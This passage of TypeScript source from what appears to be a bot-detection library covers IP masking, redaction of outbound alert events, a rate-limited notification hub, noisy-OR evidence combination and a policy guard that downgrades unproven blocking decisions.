SPECIAL_USE.contains(ip);\n}\n\n/**\n * Masks an address to a coarse network for rate accounting: /24 for IPv4, /64 for\n * IPv6. IPv6 clients routinely get a whole /64 to themselves and rotate the host\n * bits freely, so per-address counting is trivially defeated there.\n */\nexport function networkKey(ip: string): string {\n const bytes = parseIp(ip);\n if (!bytes) return ip;\n // Build the masked address at full width. Slicing to three bytes and formatting\n // that would produce a 3-byte array, which `formatIp` reads as IPv6.\n if (bytes.length === 4) {\n const masked = new Uint8Array([bytes[0]!, bytes[1]!, bytes[2]!, 0]);\n return `${formatIp(masked)}/24`;\n }\n const masked = new Uint8Array(16);\n masked.set(bytes.subarray(0, 8), 0);\n return `${formatIp(masked)}/64`;\n}\n","import { networkKey } from \"../internal/ip.js\";\nimport type { Assessment, Evidence } from \"../types.js\";\nimport type { BotEvent } from \"./types.js\";\n\nexport interface RedactionOptions {\n /**\n * Replace client addresses with a coarse network (`/24`, `/64`) before the event\n * leaves the process. Default true.\n *\n * On by default because a notification sink is usually a third party — Slack, a\n * webhook, an aggregator — and an IP address is personal data in most of the world.\n * The network is enough to recognise a pattern and to correlate repeat offenders,\n * which is what an alert is for; the exact address is only needed when you are\n * ready to act on one, and that belongs in your own logs.\n */\n maskIp?: boolean;\n /** Drop the full User-Agent, keeping only the parsed shape. Default false. */\n dropUserAgent?: boolean;\n /** Headers never included in an outbound event, whatever else is configured. */\n neverSend?: readonly string[];\n /**\n * Replace query-string *values* with a placeholder, keeping the parameter names.\n * Default true.\n *\n * A query string is where password-reset tokens, invitation links, email addresses\n * and session ids actually live, and it was the one client-supplied structure this\n * module passed through untouched while stripping cookies and credential headers\n * beside it. The names are what make an alert legible — a burst of `?export=` is the\n * pattern worth seeing — and the values are what you do not want in a third party's\n * message history.\n */\n maskQuery?: boolean;\n}\n\nconst REDACTED = \"[redacted]\";\n\n/** Always stripped. Each of these carries a credential or a session. */\n/**\n * Always stripped, wherever a request is shown to somebody other than the engine.\n *\n * Exported because the dashboard's header inspector needs the same list: a panel that\n * prints the request as it arrived would otherwise print session cookies and bearer\n * tokens onto an operator's screen, and into whatever screenshot they paste into a\n * ticket.\n */\nexport const CREDENTIAL_HEADERS: readonly string[] = [\"cookie\", \"authorization\", \"proxy-authorization\", \"x-api-key\", \"x-auth-token\", \"set-cookie\"];\n\nconst ALWAYS_STRIP = CREDENTIAL_HEADERS;\n\n/**\n * Produces the version of an event that is safe to send somewhere else.\n *\n * This runs on the way *out*, not on the way in: detection sees everything, and only\n * the copy handed to a sink is reduced. Getting that order wrong would trade\n * detection quality for a privacy property you can have for free.\n */\nexport function redactEvent(event: BotEvent, options: RedactionOptions = {}): BotEvent {\n const maskIp = options.maskIp ?? true;\n const strip = new Set([...ALWAYS_STRIP, ...(options.neverSend ?? []).map((name) => name.toLowerCase())]);\n\n const settings = { maskIp, strip, dropUserAgent: options.dropUserAgent ?? false, maskQuery: options.maskQuery ?? true };\n // An `anomaly` describes a stretch of time rather than a request, so there is\n // nothing here to reduce: it carries counts and ratios and no client data at all.\n if (event.assessment === undefined) return event;\n const { assessment, removed } = redactAssessment(event.assessment, settings);\n\n return {\n ...event,\n assessment,\n // A decision's reason quotes the evidence that produced it, so it carries whatever\n // the evidence carried. Redacting the assessment and shipping the sentence\n // describing it would defeat the exercise.\n ...(event.decision !== undefined && removed.length > 0\n ? { decision: { ...event.decision, reason: scrubText(event.decision.reason, removed) } }\n : {}),\n };\n}\n\nfunction redactAssessment(\n assessment: Assessment,\n options: { maskIp: boolean; strip: Set<string>; dropUserAgent: boolean; maskQuery: boolean },\n): { assessment: Assessment; removed: string[] } {\n const headers: Record<string, string | undefined> = {};\n /**\n * The values we decided must not leave the process.\n *\n * Removing a header from the map is not the same as removing it from the event.\n * Detectors quote what they saw — `accept-signature` puts the Accept header in its\n * metadata, `client-hints` puts a slice of the User-Agent in its own — so a header\n * stripped here reappeared verbatim a few fields away, and `dropUserAgent` dropped\n * the User-Agent from exactly one of the two places it was written.\n */\n const removed: string[] = [];\n for (const [name, value] of Object.entries(assessment.facts.headers)) {\n if (options.strip.has(name) || (options.dropUserAgent && name === \"user-agent\")) {\n if (value !== undefined && value.length > 0) removed.push(value);\n continue;\n }\n headers[name] = value;\n }\n\n return {\n removed,\n assessment: {\n ...assessment,\n actor: options.maskIp ? { ...assessment.actor, key: maskActorKey(assessment.actor.key) } : assessment.actor,\n evidence: scrubEvidence(assessment.evidence, removed),\n humanEvidence: scrubEvidence(assessment.humanEvidence, removed),\n facts: {\n ...assessment.facts,\n ip: options.maskIp ? maskIpValue(assessment.facts.ip) : assessment.facts.ip,\n headers,\n ...(options.maskQuery ? { query: maskQueryValues(assessment.facts.query) } : {}),\n // Cookies are a session in structured form. There is no version of an alert\n // that needs them.\n cookies: undefined,\n },\n },\n };\n}\n\nfunction maskQueryValues(query: Record<string, string>): Record<string, string> {\n const masked: Record<string, string> = {};\n for (const name of Object.keys(query)) masked[name] = REDACTED;\n return masked;\n}\n\n/** Rewrites evidence so nothing stripped from the headers survives in what a detector quoted. */\nfunction scrubEvidence(items: readonly Evidence[], removed: readonly string[]): Evidence[] {\n if (removed.length === 0) return [...items];\n return items.map((item) => {\n const scrubbed: Evidence = { ...item, summary: scrubText(item.summary, removed) };\n if (item.metadata !== undefined) {\n const metadata: Record<string, unknown> = {};\n for (const [key, value] of Object.entries(item.metadata)) {\n metadata[key] = typeof value === \"string\" ? scrubText(value, removed) : value;\n }\n scrubbed.metadata = metadata;\n }\n return scrubbed;\n });\n}\n\n/**\n * Removes any of `removed` from `text`.\n *\n * The containment test runs both ways on purpose. Detectors routinely record a\n * *truncated* copy — `ua.raw.slice(0, 160)` — and searching a 160-character excerpt\n * for the 400-character header it came from finds nothing at all, which is precisely\n * the case where the redaction was needed. Short values are left alone: a two-character\n * header value matches half the English language, and blanking it would destroy the\n * event to protect nothing.\n */\nconst MIN_SCRUB_LENGTH = 8;\n\nfunction scrubText(text: string, removed: readonly string[]): string {\n let output = text;\n for (const secret of removed) {\n if (secret.length < MIN_SCRUB_LENGTH) continue;\n if (output.includes(secret)) {\n output = output.split(secret).join(REDACTED);\n continue;\n }\n if (output.length >= MIN_SCRUB_LENGTH && secret.includes(output)) return REDACTED;\n }\n return output;\n}\n\nfunction maskIpValue(ip: string): string {\n return networkKey(ip);\n}\n\nfunction maskActorKey(key: string): string {\n // An actor key may be an address, an address with a suffix, or something else\n // entirely. Mask a leading address if there is one and leave anything else alone.\n const separator = key.indexOf(\"|\");\n if (separator === -1) return networkKey(key);\n return `${networkKey(key.slice(0, separator))}|${key.slice(separator + 1)}`;\n}\n","import { TtlLru } from \"../internal/lru.js\";\nimport { redactEvent } from \"./redact.js\";\nimport { systemClock } from \"../internal/clock.js\";\nimport type { Clock } from \"../internal/clock.js\";\nimport type { RedactionOptions } from \"./redact.js\";\nimport type { BotEvent, BotEventType, NotifyFilter, Notifier } from \"./types.js\";\n\nexport interface NotificationOptions {\n /** Where events go. Empty means notifications are off. */\n sinks?: readonly Notifier[];\n filter?: NotifyFilter;\n /** Redaction applied before an event leaves the process. `false` disables it. */\n redaction?: RedactionOptions | false;\n /**\n * Suppress repeats of the same actor and verdict inside this window, ms. Default\n * 60000. A scraper generates thousands of identical events a minute; without this\n * the first thing your bot detection breaks is your alerting.\n */\n dedupeWindowMs?: number;\n /**\n * Hard ceiling on events delivered per dedupe window across all actors. Default\n * 200. The backstop for the case dedupe cannot help with — a distributed scrape\n * from ten thousand addresses, where every event is genuinely distinct.\n */\n maxPerWindow?: number;\n /** Called when a sink throws. Wire it to your logs. */\n onError?: (error: unknown, sinkId: string) => void;\n clock?: Clock;\n}\n\nconst DEFAULT_TYPES: readonly BotEventType[] = [\"action\", \"downgrade\", \"error\"];\n\n/**\n * Fans events out to sinks, with the two properties that decide whether a\n * notification system is an asset or a liability under load.\n *\n * **It never blocks a request.** `emit` returns immediately; delivery happens on its\n * own. A wedged Slack webhook slows down nothing.\n *\n * **It has a ceiling.** Bot traffic arrives in volumes that ordinary alerting was\n * not built for, and an unbounded notifier turns a scrape into an outage of your own\n * paging system. Repeats of the same actor and verdict collapse into one event per\n * window, and a global cap catches distributed traffic where every event is distinct.\n * Suppressed counts are reported when the window rolls, so a quiet channel is never\n * mistaken for quiet traffic.\n */\nexport class NotificationHub {\n private readonly sinks: readonly Notifier[];\n private readonly types: Set<BotEventType>;\n private readonly minScore: number;\n private readonly certainOnly: boolean;\n private readonly redaction: RedactionOptions | false;\n private readonly dedupe: TtlLru<true>;\n private readonly dedupeWindowMs: number;\n private readonly maxPerWindow: number;\n private readonly clock: Clock;\n private readonly onError: (error: unknown, sinkId: string) => void;\n\n private windowStart = 0;\n private windowCount = 0;\n private suppressed = 0;\n\n constructor(options: NotificationOptions = {}) {\n this.sinks = options.sinks ?? [];\n this.types = new Set(options.filter?.types ?? DEFAULT_TYPES);\n this.minScore = options.filter?.minScore ?? 60;\n this.certainOnly = options.filter?.certainOnly ?? false;\n this.redaction = options.redaction ?? {};\n this.dedupeWindowMs = options.dedupeWindowMs ?? 60_000;\n this.maxPerWindow = options.maxPerWindow ?? 200;\n this.clock = options.clock ?? systemClock;\n this.onError = options.onError ?? (() => {});\n this.dedupe = new TtlLru<true>(10_000, this.dedupeWindowMs, this.clock);\n this.windowStart = this.clock.now();\n }\n\n get enabled(): boolean {\n return this.sinks.length > 0;\n }\n\n /** Queues an event. Returns immediately; never throws. */\n emit(event: BotEvent): void {\n if (this.sinks.length === 0) return;\n if (!this.shouldDeliver(event)) return;\n\n this.dispatch(event);\n }\n\n /**\n * Redacts and fans out. The only way an event reaches a sink.\n *\n * Made the single path because it was not one: the suppression summary built its own\n * fan-out loop and sent `sample.assessment` straight through, so every time a window\n * rolled under load — precisely when bot traffic is heaviest — one request's raw\n * address, cookies and query string went to the sink in the clear, beside the\n * properly masked events it was summarising.\n */\n private dispatch(event: BotEvent): void {\n const payload = this.redaction === false ? event : redactEvent(event, this.redaction);\n for (const sink of this.sinks) {\n try {\n const result = sink.notify(payload);\n // A sink may be sync or async. Either way its failure is reported and\n // contained, and an async rejection never escapes as an unhandled one.\n if (result instanceof Promise) result.catch((error: unknown) => this.onError(error, sink.id));\n } catch (error) {\n this.onError(error, sink.id);\n }\n }\n }\n\n private shouldDeliver(event: BotEvent): boolean {\n if (!this.types.has(event.type)) return false;\n if (event.type === \"detection\" && event.assessment !== undefined) {\n if (this.certainOnly && !event.assessment.certain) return false;\n if (!event.assessment.certain && event.assessment.score < this.minScore) return false;\n }\n\n const now = this.clock.now();\n if (now - this.windowStart >= this.dedupeWindowMs) {\n const dropped = this.suppressed;\n this.windowStart = now;\n this.windowCount = 0;\n this.suppressed = 0;\n // Report what the window hid, so an operator can tell \"nothing happened\" from\n // \"far too much happened\".\n if (dropped > 0) this.deliverSummary(dropped, event);\n }\n\n // `error` events bypass deduplication: two different failures with the same\n // shape are two different problems, and losing the second is how an outage\n // becomes invisible. `anomaly` bypasses it too — the audit has a cooldown of its\n // own, so anything that reaches here has already been judged worth saying.\n if (event.type !== \"error\" && event.type !== \"anomaly\" && event.assessment !== undefined) {\n const key = `${event.type}:${event.assessment.actor.key}:${event.assessment.verdict}:${event.decision?.action ?? \"\"}`;\n if (this.dedupe.get(key) !== undefined) {\n this.suppressed++;\n return false;\n }\n this.dedupe.set(key, true);\n }\n\n if (this.windowCount >= this.maxPerWindow) {\n this.suppressed++;\n return false;\n }\n this.windowCount++;\n return true;\n }\n\n private deliverSummary(dropped: number, sample: BotEvent): void {\n const summary: BotEvent = {\n type: \"error\",\n at: new Date(this.clock.now()).toISOString(),\n assessment: sample.assessment,\n error: {\n source: \"notification-hub\",\n message: `${dropped} notification(s) were suppressed in the last ${this.dedupeWindowMs}ms by deduplication or the per-window ceiling. Bot traffic is exceeding what this channel is configured to report.`,\n },\n };\n this.dispatch(summary);\n }\n}\n","/**\n * Path patterns supplied by an operator, made safe to reuse.\n *\n * `RegExp.test` is stateful when the pattern carries `g` or `y`: it resumes from\n * `lastIndex` and resets only on a failed match, so the same pattern tested against\n * the same string answers `true`, `false`, `true`, `false`. Nothing here matches a\n * path more than once, so neither flag can express anything anyone wanted — but both\n * turn a rule into a coin flip, and the symptom (a bot blocked, served, blocked,\n * served) reads as a bug anywhere except in the flag that caused it.\n */\n\n/** The pattern with `g` and `y` removed. Returns strings and stateless regexes unchanged. */\nexport function statelessPattern<T extends string | RegExp>(pattern: T): T {\n if (typeof pattern === \"string\" || !/[gy]/.test(pattern.flags)) return pattern;\n return new RegExp(pattern.source, pattern.flags.replace(/[gy]/g, \"\")) as T;\n}\n\n/** True when `path` matches: strings are a prefix test, regexes are tested as written. */\nexport function pathMatches(patterns: readonly (string | RegExp)[], path: string): boolean {\n for (let i = 0; i < patterns.length; i++) {\n const pattern = patterns[i]!;\n if (typeof pattern === \"string\" ? path.startsWith(pattern) : pattern.test(path)) return true;\n }\n return false;\n}\n","import { CERTAINTY_WEIGHT } from \"./types.js\";\nimport type { BotClass, Certainty, Evidence, Verdict } from \"./types.js\";\n\n/**\n * Turning a pile of observations into one conclusion.\n *\n * The rule that makes this library's guarantee meaningful lives in\n * {@link combineEvidence}: **`certain` evidence and probabilistic evidence never mix\n * into the same number.** Certainty short-circuits to a proven verdict; everything\n * else accumulates into a score that is explicitly labelled as a judgement call.\n *\n * A design that summed them — \"certain is worth 100 points, strong is worth 60, block\n * at 100\" — would look equivalent and be quietly catastrophic, because two unrelated\n * suspicions on an unusual but real browser would eventually reach 100 too. Points\n * do not compose into proof.\n */\n\nconst CERTAINTY_RANK: Record<Certainty, number> = { certain: 3, strong: 2, moderate: 1, weak: 0 };\n\n/**\n * Which proven conclusion wins when several `certain` observations fire at once.\n * Higher wins.\n *\n * Two orderings here are load-bearing and easy to get backwards.\n *\n * A **self-contradiction outranks everything**: if a client both verified as\n * Googlebot and announced itself as headless Chrome, the honest reading is that\n * something is wrong, not that it is Googlebot.\n *\n * A **confirmed identity outranks a bare declaration**. Every verified crawler also\n * self-identifies — that is how we knew what to verify — so `self-identified` and\n * `crawler-verification` both fire on the same request. If `declared-bot` won that\n * tie, a DNS-confirmed Googlebot would come back as a generic `confirmed-bot`, an\n * \"allow verified crawlers\" rule would never match, and the first symptom would be\n * your search traffic quietly disappearing.\n */\nconst CLASS_PRIORITY: Record<BotClass, number> = {\n impersonator: 6,\n scanner: 5,\n automation: 4,\n scraper: 3,\n \"http-client\": 2,\n \"verified-bot\": 1,\n \"declared-bot\": 0,\n human: -1,\n unknown: -2,\n};\n\nexport interface CombineOptions {\n /**\n * Score at or above which an unproven request is called `suspected-bot`. Default 60.\n * Raising it makes the library quieter, never safer — nothing here blocks.\n */\n suspectThreshold: number;\n /**\n * Rejects `certain` evidence that carries no `deterministicBasis`. On by default\n * outside production: it is the guard that stops the certainty tier from quietly\n * eroding into \"signals we feel strongly about\", which is how a\n * no-false-positive promise dies.\n */\n strictEvidence: boolean;\n /** Called instead of throwing when `strictEvidence` finds a problem. */\n onEvidenceViolation?: ((message: string, evidence: Evidence) => void) | undefined;\n}\n\nexport interface CombinedEvidence {\n verdict: Verdict;\n botClass: BotClass;\n identity?: string | undefined;\n score: number;\n confidence: number;\n certain: boolean;\n botEvidence: Evidence[];\n humanEvidence: Evidence[];\n}\n\n/** Effective weight of a piece of evidence: its own, clamped, or its tier's default. */\nexport function weightOf(item: Evidence): number {\n const weight = item.weight ?? CERTAINTY_WEIGHT[item.certainty];\n if (!Number.isFinite(weight)) return CERTAINTY_WEIGHT[item.certainty];\n return Math.min(1, Math.max(0, weight));\n}\n\n/** Strongest first: certainty tier, then weight. Stable, so detector order breaks ties. */\nexport function sortEvidence(items: Evidence[]): Evidence[] {\n return [...items].sort((a, b) => {\n const rank = CERTAINTY_RANK[b.certainty] - CERTAINTY_RANK[a.certainty];\n return rank !== 0 ? rank : weightOf(b) - weightOf(a);\n });\n}\n\n/**\n * Noisy-OR: the probability that *at least one* of these independent signals is\n * telling the truth. Chosen over a sum because it is bounded at 1 without clamping\n * and because it has the right shape — many weak signals genuinely do add up to\n * something, but they approach certainty asymptotically and never reach it.\n *\n * The independence assumption is a simplification, and where it is most obviously\n * wrong — several detectors reporting one stripping proxy — it is corrected before\n * the weights get here: see {@link Evidence.family} and `independentWeights`. What\n * remains is mild optimism about correlations nobody has named, which is tolerable\n * precisely because this number cannot get anyone blocked.\n */\nexport function noisyOr(weights: readonly number[]): number {\n let remaining = 1;\n for (const weight of weights) remaining *= 1 - weight;\n return 1 - remaining;\n}\n\n/**\n * One weight per independent cause.\n *\n * Noisy-OR is only sound over signals that are actually independent, and several of\n * this library's detectors are not: they read overlapping properties of the same\n * request and fire together whenever one circumstance is true. The circumstance that\n * matters most is a **stripping intermediary** — a corporate proxy, a carrier\n * transcoder, a privacy extension — because it makes four absence-based detectors\n * speak at once about one person who did nothing but open a laptop at work.\n *\n * Evidence that names a {@link Evidence.family} is therefore collapsed to its\n * strongest member before scoring. Everything without a family keeps its own weight,\n * so this narrows the score only where the correlation is real and asserted by the\n * detector that produced it.\n *\n * It cannot change any *proven* verdict: the certain path never reaches this code.\n */\nfunction independentWeights(items: readonly Evidence[]): number[] {\n let families: Map<string, number> | undefined;\n const weights: number[] = [];\n\n for (const item of items) {\n const weight = weightOf(item);\n if (item.family === undefined) {\n weights.push(weight);\n continue;\n }\n families ??= new Map<string, number>();\n const current = families.get(item.family);\n if (current === undefined || weight > current) families.set(item.family, weight);\n }\n\n if (families !== undefined) for (const weight of families.values()) weights.push(weight);\n return weights;\n}\n\nexport function combineEvidence(items: readonly Evidence[], options: CombineOptions): CombinedEvidence {\n const botEvidence: Evidence[] = [];\n const humanEvidence: Evidence[] = [];\n\n for (const item of items) {\n if (options.strictEvidence && item.certainty === \"certain\" && !item.deterministicBasis) {\n const message = `Detector \"${item.detector}\" produced \\`certain\\` evidence with no \\`deterministicBasis\\`. Certain evidence must state why it admits no benign explanation; if you cannot state one, the correct tier is \"strong\".`;\n if (options.onEvidenceViolation) options.onEvidenceViolation(message, item);\n else throw new Error(message);\n }\n (item.direction === \"bot\" ? botEvidence : humanEvidence).push(item);\n }\n\n const sortedBot = sortEvidence(botEvidence);\n const sortedHuman = sortEvidence(humanEvidence);\n\n const certainBot = sortedBot.filter((item) => item.certainty === \"certain\");\n const certainHuman = sortedHuman.filter((item) => item.certainty === \"certain\");\n\n // ---- Proven path. No score is consulted; there is nothing to weigh. ----\n if (certainBot.length > 0) {\n const decisive = pickDecisive(certainBot);\n const botClass = decisive.botClass ?? \"unknown\";\n return {\n verdict: botClass === \"verified-bot\" ? \"verified-bot\" : \"confirmed-bot\",\n botClass: botClass === \"unknown\" ? \"declared-bot\" : botClass,\n identity: decisive.identity,\n // A proven bot still reports a score, for dashboards that chart one. It is\n // 100 by definition and plays no part in any decision.\n score: 100,\n confidence: 1,\n certain: true,\n botEvidence: sortedBot,\n humanEvidence: sortedHuman,\n };\n }\n\n if (certainHuman.length > 0) {\n return {\n verdict: \"human\",\n botClass: \"human\",\n identity: certainHuman[0]!.identity,\n score: 0,\n confidence: 1,\n certain: true,\n botEvidence: sortedBot,\n humanEvidence: sortedHuman,\n };\n }\n\n // ---- Probabilistic path. Everything below is explicitly a judgement call. ----\n const pBot = noisyOr(independentWeights(sortedBot));\n const pHuman = noisyOr(independentWeights(sortedHuman));\n // Human evidence discounts rather than cancels: a real interaction on a page does\n // not prove the *next* request from that IP came from the same person.\n const combined = pBot * (1 - pHuman);\n // Capped at 99. Enough independent signals drive the noisy-OR to 1 in floating\n // point, and a probabilistic assessment reporting a flat 100 would be\n // indistinguishable on a dashboard from a proven one. 100 means proof, and only\n // the certain path is allowed to produce it.\n const score = Math.min(99, Math.round(combined * 100));\n\n const verdict: Verdict = score >= options.suspectThreshold ? \"suspected-bot\" : pHuman > pBot && pHuman >= 0.5 ? \"human\" : \"unknown\";\n\n const named = sortedBot.find((item) => item.botClass !== undefined && item.botClass !== \"unknown\");\n\n return {\n verdict,\n botClass: verdict === \"suspected-bot\" ? (named?.botClass ?? \"unknown\") : verdict === \"human\" ? \"human\" : \"unknown\",\n identity: named?.identity,\n score,\n confidence: verdict === \"suspected-bot\" ? combined : Math.max(pHuman, 1 - pBot),\n certain: false,\n botEvidence: sortedBot,\n humanEvidence: sortedHuman,\n };\n}\n\nfunction pickDecisive(certain: readonly Evidence[]): Evidence {\n let best = certain[0]!;\n let bestPriority = CLASS_PRIORITY[best.botClass ?? \"unknown\"];\n for (const item of certain) {\n const priority = CLASS_PRIORITY[item.botClass ?? \"unknown\"];\n if (priority > bestPriority) {\n best = item;\n bestPriority = priority;\n }\n }\n return best;\n}\n","import { pathMatches, statelessPattern } from \"../internal/pattern.js\";\nimport { weightOf } from \"../evidence.js\";\nimport type { Assessment } from \"../types.js\";\nimport type { MatchSpec } from \"./types.js\";\n\n/** Normalises `T | readonly T[] | undefined` into a set, or `undefined` for \"no constraint\". */\nfunction toSet<T>(value: T | readonly T[] | undefined): Set<T> | undefined {\n if (value === undefined) return undefined;\n return new Set(Array.isArray(value) ? (value as readonly T[]) : [value as T]);\n}\n\n/**\n * Compiles a {@link MatchSpec} into a predicate.\n *\n * Compiling once at policy-construction time rather than interpreting the spec per\n * request keeps rule evaluation to a handful of set lookups, which matters when the\n * policy is consulted on every request to the site.\n */\nexport function compileMatch(spec: MatchSpec): (assessment: Assessment) => boolean {\n const verdicts = toSet(spec.verdict);\n const classes = toSet(spec.botClass);\n const identities = toSet(spec.identity);\n const categories = toSet(spec.category);\n const methods = spec.method === undefined ? undefined : toSet((Array.isArray(spec.method) ? spec.method : [spec.method]).map((method) => method.toUpperCase()));\n const detectors = toSet(spec.detector);\n // Normalised once, here, for the same reason everything else in this function is:\n // a `g` or `y` flag makes `test` stateful, and a rule that alternates between\n // matching and not matching on identical requests blocks a bot, serves it, blocks\n // it again. See `statelessPattern`.\n const paths =\n spec.path === undefined\n ? undefined\n : ((Array.isArray(spec.path) ? spec.path : [spec.path]) as readonly (string | RegExp)[]).map(statelessPattern);\n\n return (assessment: Assessment): boolean => {\n if (verdicts && !verdicts.has(assessment.verdict)) return false;\n if (classes && !classes.has(assessment.botClass)) return false;\n if (spec.certain !== undefined && assessment.certain !== spec.certain) return false;\n if (spec.minScore !== undefined && assessment.score < spec.minScore) return false;\n if (spec.maxScore !== undefined && assessment.score > spec.maxScore) return false;\n if (spec.minPriorConfirmations !== undefined && assessment.actor.priorConfirmations < spec.minPriorConfirmations) return false;\n if (spec.minUnsolvedChallenges !== undefined && assessment.actor.unsolvedChallenges < spec.minUnsolvedChallenges) return false;\n if (methods && !methods.has(assessment.facts.method.toUpperCase())) return false;\n\n if (identities) {\n const claimed = collectIdentities(assessment);\n let hit = false;\n for (const identity of identities) {\n if (claimed.has(identity)) {\n hit = true;\n break;\n }\n }\n if (!hit) return false;\n }\n\n if (categories) {\n let hit = false;\n for (const item of assessment.evidence) {\n const category = item.metadata?.[\"category\"];\n if (typeof category === \"string\" && categories.has(category as never)) {\n hit = true;\n break;\n }\n }\n if (!hit) return false;\n }\n\n if (detectors) {\n let hit = false;\n for (const item of [...assessment.evidence, ...assessment.humanEvidence]) {\n if (detectors.has(item.detector)) {\n hit = true;\n break;\n }\n }\n if (!hit) return false;\n }\n\n if (paths && !pathMatches(paths, assessment.facts.path)) return false;\n\n return true;\n };\n}\n\nfunction collectIdentities(assessment: Assessment): Set<string> {\n const identities = new Set<string>();\n if (assessment.identity !== undefined) identities.add(assessment.identity);\n for (const item of assessment.evidence) {\n if (item.identity !== undefined) identities.add(item.identity);\n }\n return identities;\n}\n\n/**\n * Counts independent `strong`-or-better bot signals.\n *\n * \"Independent\" is approximated as \"from different detectors\", which is imperfect —\n * `header-integrity` and `accept-signature` both read the same header block and are\n * correlated — but it is a real bar that a single misfiring check cannot clear on its\n * own. Used by the `balanced` guard, where it is the difference between \"the score\n * got high\" and \"several different things went wrong\".\n */\nexport function independentStrongSignals(assessment: Assessment): number {\n const detectors = new Set<string>();\n for (const item of assessment.evidence) {\n if (item.certainty === \"strong\" || item.certainty === \"certain\" || weightOf(item) >= 0.6) detectors.add(item.detector);\n }\n return detectors.size;\n}\n","import { compileMatch, independentStrongSignals } from \"./match.js\";\nimport { ACTION_NAMES, TERMINAL_ACTIONS } from \"./types.js\";\nimport type { Assessment } from \"../types.js\";\nimport type { ActionName, ActionParams, Decision, FalsePositivePolicy, PolicyOptions, Rule } from \"./types.js\";\n\ninterface CompiledRule {\n rule: Rule;\n matches: (assessment: Assessment) => boolean;\n}\n\n/** The settings that decide how far a rule may go. See {@link Policy.replaceGuard}. */\nexport interface GuardSettings {\n falsePositivePolicy: FalsePositivePolicy;\n fallbackAction: ActionName;\n defaultAction: ActionName;\n terminalScoreThreshold: number;\n}\n\nconst POLICY_MODES: readonly FalsePositivePolicy[] = [\"strict\", \"balanced\", \"aggressive\"];\n\n/** An absent field means \"leave this one alone\"; an explicit `undefined` has to mean the same. */\nfunction stripUndefined(settings: Partial<GuardSettings>): Partial<GuardSettings> {\n const out: Record<string, unknown> = {};\n for (const [key, value] of Object.entries(settings)) if (value !== undefined) out[key] = value;\n return out as Partial<GuardSettings>;\n}\n\n/**\n * Chooses an action for an assessment, then refuses to let that action be harsher\n * than the evidence supports.\n *\n * The second half is the point. Rules are ordinary first-match-wins configuration and\n * there is nothing clever about them. What makes the policy trustworthy is the guard\n * that runs *after* a rule has been selected: under the default `strict` mode a\n * terminal action survives only if `assessment.certain` is true, and otherwise is\n * replaced by something recoverable, with the substitution recorded on the decision.\n *\n * That ordering is deliberate. The guard cannot be forgotten in a rule, cannot be\n * bypassed by a cleverly-worded predicate, and does not depend on whoever wrote the\n * rules understanding the certainty model. Turning it off is a single, explicit,\n * greppable configuration change.\n */\nexport class Policy {\n /**\n * Compiled rules, in evaluation order.\n *\n * Mutable — and only ever replaced wholesale, never spliced. {@link replaceRules}\n * swaps the array in one assignment, so a request evaluated during an update sees\n * either the old list or the new one and never a half-applied policy.\n */\n private compiled: CompiledRule[];\n /**\n * The guard settings.\n *\n * Not `readonly` any more, and the reason is narrow enough to write down.\n * {@link replaceGuard} exists so that an operator who has been *given* the power to\n * change these can change them without a deploy — the dashboard gates it behind a\n * control flag of its own that is off by default. Everything about how they are\n * *used* is unchanged: `decide()` reads them on every request, so a change takes\n * effect on the next one, and it can only ever be a whole valid set replacing\n * another whole valid set.\n */\n private defaultAction: ActionName;\n private defaultParams: ActionParams;\n private mode: FalsePositivePolicy;\n private fallbackAction: ActionName;\n private terminalScoreThreshold: number;\n private readonly onDowngrade: PolicyOptions[\"onDowngrade\"];\n\n constructor(options: PolicyOptions = {}) {\n this.compiled = Policy.compile(options.rules ?? []);\n this.defaultAction = options.defaultAction ?? \"allow\";\n this.defaultParams = options.defaultParams ?? {};\n this.mode = options.falsePositivePolicy ?? \"strict\";\n this.fallbackAction = options.fallbackAction ?? \"challenge\";\n this.terminalScoreThreshold = options.terminalScoreThreshold ?? 85;\n this.onDowngrade = options.onDowngrade;\n }\n\n private static compile(rules: readonly Rule[]): CompiledRule[] {\n return rules.map((rule) => ({\n rule,\n matches: typeof rule.match === \"function\" ? rule.match : compileMatch(rule.match),\n }));\n }\n\n /** Ids of every configured rule, in evaluation order. For diagnostics and tests. */\n get ruleIds(): string[] {\n return this.compiled.map((entry) => entry.rule.id);\n }\n\n /**\n * The rule definitions themselves, in evaluation order.\n *\n * Exposed because two things outside the policy need to *read* rules rather than\n * apply them: `robotsFromRules`, which turns the ones that deny crawlers into a\n * `robots.txt`, and the dashboard, which shows an operator what is actually\n * installed. Both want the spec as written, not the compiled predicate.\n */\n get rules(): readonly Rule[] {\n return this.compiled.map((entry) => entry.rule);\n }\n\n /**\n * Replaces the rule list while the process runs.\n *\n * Deliberately narrow: this changes *which* rules exist, and nothing about how far\n * they are allowed to go. The guard settings are a separate, separately-gated\n * operation — see {@link replaceGuard} — so that \"edit the rules\" and \"change what a\n * rule is allowed to do\" are never the same permission.\n */\n replaceRules(rules: readonly Rule[]): void {\n this.compiled = Policy.compile(rules);\n }\n\n /**\n * Replaces the guard settings while the process runs.\n *\n * This is the one edit that can start denying people, so it is separated from\n * {@link replaceRules} at every level: a different method here, a different control\n * flag on the dashboard, a different endpoint, and a different event when it lands.\n * A caller that may change rules does not thereby become a caller that may change\n * this.\n *\n * Two things are refused outright rather than warned about, because both turn the\n * guard into scenery while leaving it apparently switched on:\n *\n * - **A terminal `fallbackAction`.** The fallback is what a downgrade *becomes*.\n * Set it to `block` and every downgrade blocks, which is the exact outcome the\n * downgrade exists to prevent — and the decision would still be recorded as a\n * guard stop, so the metric that is supposed to catch this would report success.\n * - **A `terminalScoreThreshold` outside 1–100.** Zero would let balanced mode\n * deny on any score at all.\n *\n * Fields left undefined keep their current value, so a caller can move one setting\n * without restating the rest.\n */\n replaceGuard(settings: Partial<GuardSettings>): void {\n const next: GuardSettings = { ...this.describeGuard(), ...stripUndefined(settings) };\n\n if (!POLICY_MODES.includes(next.falsePositivePolicy)) {\n throw new Error(`Unknown falsePositivePolicy \"${String(next.falsePositivePolicy)}\". Use one of: ${POLICY_MODES.join(\", \")}.`);\n }\n for (const [field, value] of [\n [\"fallbackAction\", next.fallbackAction],\n [\"defaultAction\", next.defaultAction],\n ] as const) {\n if (!ACTION_NAMES.includes(value)) throw new Error(`Unknown ${field} \"${String(value)}\". Use one of: ${ACTION_NAMES.join(\", \")}.`);\n }\n if (TERMINAL_ACTIONS.has(next.fallbackAction)) {\n throw new Error(\n `fallbackAction cannot be \"${next.fallbackAction}\": the fallback is what a downgraded decision becomes, so a terminal one would deny exactly the requests the guard stepped in to protect. Use \"challenge\", \"rate-limit\", \"delay\", \"tag\" or \"log\".`,\n );\n }\n if 